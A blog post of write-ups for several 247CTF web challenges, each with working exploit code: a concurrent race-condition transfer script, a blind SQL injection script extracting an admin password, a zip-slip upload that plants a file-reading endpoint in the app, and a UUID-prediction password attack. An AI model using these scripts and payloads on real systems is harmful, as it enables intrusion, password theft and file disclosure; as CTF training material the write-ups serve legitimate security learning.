Here are some writeups for 247CTF, which are mostly web challenges.
ACID
We’re given a page that has two accounts.
You can transfer funds between the two accounts with the parameter ?to=1&from=2&amount=1

To get the flag, you require more than the total available funds at the start, which is 247.

If we transfer the funds manually in a single session, we can never get the sum to be > 247. Instead, as the challenge title hints, the transactions are not ACID, and can be exploited with multiple concurrent events.
By scripting multiple transfer requests in parallel, we’re able to get the funds to be above 247
import requests
from concurrent.futures import ThreadPoolExecutor
url = [
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
"https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
]
def get_url(url):
return requests.get(url)
with ThreadPoolExecutor(max_workers=50) as pool:
print(list(pool.map(get_url,url)))
APIFlag
We can get a token from /api/get_token that allows us to make only 128 requests
We also have a Blind SQL injection vulnerability in /api/login at username.
Finally, we need the admin’s exact password to get the flag at /api/get_flag
The Blind SQL Injection allows us to query admin' where password like "a%
“;–
The problem is that the admin’s password is 32 characters long, hexadecimal password. That means if we bruteforce it with the query above, we require 32 * 16 = 512 queries, which is way above the allowable limit for the token.
The trick here is to use the search algorithm Binary Search to more efficiently search for the character. With SQLite, we can query something like
admin' and SUBSTR(password,1,1) BETWEEN '0' AND '7'--"
and if the query returns true, we can search down the other half.
admin' and SUBSTR(password,1,1) BETWEEN '0' AND '3'--"
Using this approach, we can reduce the number of searches for a character to be at most 4, and given the worst case scenario, the total number of search will be 4 * 32 = 128, which is exactly the amount of queries allowed by the api
import requests
login_url = "https://f8d67a10fd0148df.247ctf.com/api/login"
get_token_url = "https://f8d67a10fd0148df.247ctf.com/api/get_token"
get_flag_url = "https://f8d67a10fd0148df.247ctf.com/api/get_flag"
key = "1dd740311b46c81fc08312b09167c6b1"
def query_range(str_pos, bottom, top):
bottom_char = chr(bottom)
top_char = chr(top)
print(f"trying {bottom_char}, {top_char} at position {str_pos}")
data = {
'username': "admin' and SUBSTR(password," + str_pos + ",1) BETWEEN '" + bottom_char + "' AND '" + top_char + "'--",
'password':"",
'api':key
}
r = requests.post(login_url, data=data)
return r
def query_direct(str_pos, val):
val_char = chr(val)
print(f"trying {val_char}")
data = {
'username': "admin' and SUBSTR(password," + str_pos + ",1) == '" + val_char +"'--",
'password':"",
'api':key
}
r = requests.post(login_url, data=data)
return r
def get_flag(password):
data = {
'password':password,
}
r = requests.post(get_flag_url, data=data)
return r
possible_chars= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
possible_ords = list(map(ord, possible_chars))
def binary_search(str_pos, arr, low, high):
mid = (high + low) // 2
# if there are only 2 elements
if high - low == 1:
r_low = query_direct(str_pos, arr[low])
if "Welcome back admin" in r_low.text:
return low
else:
return high
# if there are only 3 elements
if high - low == 2:
r_low = query_direct(str_pos, arr[low])
if "Welcome back admin" in r_low.text:
return low
else:
r_mid = query_direct(str_pos, arr[mid])
if "Welcome back admin" in r_mid.text:
return mid
else:
return high
# query the lower range
r = query_range(str_pos, arr[low], arr[mid])
# present in lower range
if "Welcome back admin" in r.text:
print(f"in range of {low}, {mid-1}")
return binary_search(str_pos, arr, low, mid)
# present in the higher range
else:
print(f"in range of {mid+1}, {high}")
return binary_search(str_pos, arr, mid + 1, high)
password = ""
for pos in range(32):
# sqlite substr starts from 1
str_pos = str(pos+1)
res = binary_search(str_pos, possible_ords, 0, len(possible_ords)-1)
pass_char = possible_chars[res]
print(f"found: {pass_char}")
password += pass_char
print(password)
r = get_flag(password)
print(r.text)
Slippery Upload
This challenge uses the SLIPZLIP vulnerability, which allows you to write arbitrary files to any location.
Taking advantage of this, we can write Python code to reach and print the contents of all files in a specific location
Since path to run.py relative to uploads is ../../app/run.py
, we need to move this file ../../app/run.py
on our local system, and call
zip evil.zip ../../app/run.py
Finally we send the code over to the server curl -X POST -Fzarchive=@evil.zip https://bcb5023b48f8f274.247ctf.com/zip_upload
from flask import Flask, request
import zipfile, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'
@app.route('/')
def source():
return '%s' % open('/app/run.py').read()
@app.route('/cmd')
def cmd():
path = request.args.get('cmd')
contents = ""
for filename in os.listdir(path):
with open(filename, 'rU') as f:
t = f.read()
content = filename + " Content : " + t
contents += content
contents += "*"*90
return contents
def zip_extract(zarchive):
with zipfile.ZipFile(zarchive, 'r') as z:
for i in z.infolist():
with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
f.write(z.open(i.filename, 'r').read())
@app.route('/zip_upload', methods=['POST'])
def zip_upload():
try:
if request.files and 'zarchive' in request.files:
zarchive = request.files['zarchive']
if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
zarchive.save(zpath)
zip_extract(zpath)
return 'Zip archive uploaded and extracted!'
return 'Only valid zip archives are acepted!'
except:
return 'Error occured during the zip upload process!'
if __name__ == '__main__':
app.run()

Administrative ORM
In this challenge, we have a /get_flag page which shows the flag to only the administrator, and a /update_password which resets the password of the administrator.
We also have a /statistics page, which gets statistics of the current machine
The vulnerability here lies in how the password is reset, which uses uuid
()

The function uuid()
uses values and parameters obtainable from /statistics
to generate a deterministic password, specifically Host MAC address, Sequence Number and the Current Time
We first reset the password, then scrape the /statistics
page for relevant information to generate the uuid()
def generate_uuid():
r = requests.get(URL+'/statistics')
out = r.text.split()
mac = out[6]
ldate = out[50]
ltime = out[51]
clock_sequence = out[42]
print ()
print ("MAC : "+mac)
print ("Clock sequence : "+str(clock_sequence))
print ("Last reset : "+ldate,ltime)
# Pandas Timestamp.timestamp() function does not return nanoseconds.
# https://github.com/pandas-dev/pandas/issues/29461
# So we split this part.
nseconds = pd.to_datetime(ldate, format='%Y-%m-%d').timestamp() * 1000 * 1000 * 1000
# Add the missing nanoseconds to have exact result
time_in_ns = str_to_ns(ltime)+int(nseconds)
UUID = uuid1(parse_mac(mac), int(clock_sequence), int(time_in_ns))
print('UUID.time :', UUID.time)
print('UUID.clock_seq :', UUID.clock_seq)
print('UUID.node :', UUID.node)
print("UUID generated is:", UUID)
return str(UUID)
*taken from https://b4d.sablun.org/blog/2020-04-20-247ctf-com-web-administrative-orm/
Leave a Reply